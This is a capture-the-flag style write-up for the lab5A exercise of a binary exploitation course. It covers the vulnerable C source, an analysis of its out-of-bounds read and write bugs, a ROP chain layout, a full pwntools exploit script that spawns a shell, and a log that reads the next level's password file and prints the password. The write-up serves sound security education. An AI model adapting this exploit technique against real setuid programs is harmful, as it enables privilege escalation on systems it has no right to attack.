For this lab, we are given a program and its corresponding source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc --static -o lab5A lab5A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = (int)get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || index > STORAGE_SIZE || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for doom!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = (int)get_unum();

    printf(" Number at data[%d] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to doom's crappy number storage service!  \n"\
           "          Version 2.0 - With more security!         \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   doom has reserved some storage for himself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}

If we run checksec, we can see that NX is enabled, among other mitigations.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

We can can also see that it is statically compiled. Therefore, we cannot perform a traditional ret-2-libc attack and call system() since no libraries are dynamically linked.

rh0gue@vexillum:~/Documents/MBE/lab05$ file lab5A
lab5A: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9bfddee794af8b6ff1fc27bf36a4bdec3789a805, not stripped

Vulnerability

We can see there are two vulnerabilities in the source code. First, the read_number() function allows us to read arbitrary data off the stack, since it does not check that the index the user requests is a legitimate index within the data array. Similarly, the store_number() function does not perform proper checking of the index used to store data in the array either, giving us a write-what-where privimite, albeit limited.

The exploit primitive is limited because the store_number() array prevents the user from storing data at a requested index if the index is a multiple of 3. This prevents us from simply copying and pasting a ROP chain to the stack to gain code execution, since our ROP chain will be “broken” at every index that is a multiple of 3. Therefore, we need to come up with out own gadgets, since our ROP chain must avoid having to write data to every 3rd index/dword in our array.

Exploit

In order to call execve("/bin/sh",0,0) to spawn a shell, I needed to call int 0x80 while having the following register values.

eax = 0xb
ebx = ptr to “/bin/sh”
ecx = 0
edx = 0

Using ROPgadget, I found the gadgets I needed to make this happen.

First, I found a stack pivot at 0x8049bb7, which I needed in order to place the rest of my ROP chain in the data array without getting trashed by stack operations called in main(), since we need to go back to main() and call store_number() for every gadget we want to use in our ROP chain. This stack pivot will be written to the stack at the end, since we need it to overwrite our saved return address at data[-11] but still need to return to main() to write the other gadgets to the stack.

The rest of the gadgets I found all avoid returning or writing to indices that are a multiple of 3 and take advantage of the fact that the data array is initialized with all 0x0’s to pop some of those 0x0’s into ecx and ebx.

I also placed my "/bin/sh" string to indices 19 and 20 in the data array, the addresses of which, I later leaked in my exploit, since we needed to set ebx to point to the location of "/bin/sh".

To clarify everything for myself, I wrote an outline of what the stack would look like with everything I needed in place.

-13 
-12
-11 0x08049bb7 : add esp, 0x2c ; ret
-10      |  
-9       |
-8       | 
-7       |
-6       |
-5       |
-4       |
-3       |
-2       |
-1       |
0        V          
1  0x08054c30 : xor eax, eax ; ret 
2  0x08096f78 : add eax, 9 ; pop edi ; ret
3  0x0
4  0x080980a7 : add eax, 2 ; ret 
5  0x080e6255 : pop ecx ; ret 
6  0x0
7  0x0806f3a9 : pop ebx ; pop edx ; ret
8  ptr2binsh ----------------------
9  0x0                            |
10 0x08048eaa : int 0x80          |
11 0x0                            |
12 0x0                            |
13 0x0                            |
14 0x0                            |
15 0x0                            |
16 0x0                            |
17 0x0                            |
18 0x0                            |
19 0x69622f2f ("//bin/sh") <-------
20 0x68732f6e ("n/sh\00")

Putting everything together, the following exploit will give us a shell.

Solution

from pwn import *
import sys

def store(value, index):
  r.sendline("store")
  r.recvuntil("Number: ")
  r.sendline(str(value))
  r.recvuntil("Index: ")
  r.sendline(str(index))
  r.sendline("")
  if index!=-11: # don't recvuntil() after overwriting SRA
    r.recvuntil("command: ")
  
def read(index):
  r.sendline("read")
  r.recvuntil("Index: ")
  r.sendline(str(index))
  r.sendline("")
  return r.recvuntil("command: ").split()[4] # leaks addr of data

def exploit(r):
  r.recvuntil("\n\n")
  r.sendline("")
  r.recvuntil("command: ")
  data = int(read(-10))      # ptr to data array
  binsh = data+(4*19)        # ptr to "/bin/sh"
  store(0x69622f2f, 19)      # "//bi" in data[19]
  store(0x68732f6e, 20)      # "n/sh" in data[20]
  store(0x08054c30, 1)       # xor eax, eax ; ret 
  store(0x08096f78, 2)       # add eax, 9 ; pop edi ; ret
  store(0x080980a7, 4)       # add eax, 2 ; ret
  store(0x080e6255, 5)       # pop ecx ; ret
  store(0x0806f3a9, 7)       # pop ebx ; pop edx ; ret
  store(binsh, 8)            # ptr to "/bin/sh" in data[8]
  store(0x08048eaa, 10)      # int 0x80
  store(0x08049bb7, -11)     # add esp, 0x2c ; ret (stack pivot overwrites SRA)
  r.interactive()

if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process(['./lab5A'])
    print util.proc.pidof(r)
    pause()
    exploit(r)
lab5A@warzone:/tmp/lab5A$ python solve.py 
[*] For remote: solve.py HOST PORT
[+] Starting program '/levels/lab05/lab5A': Done
[25077]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1020(lab5A) gid=1021(lab5A) euid=1021(lab5end) groups=1022(lab5end),1001(gameuser),1021(lab5A)
$ cat /home/lab5end/.pass
byp4ss1ng_d3p_1s_c00l_am1rite
$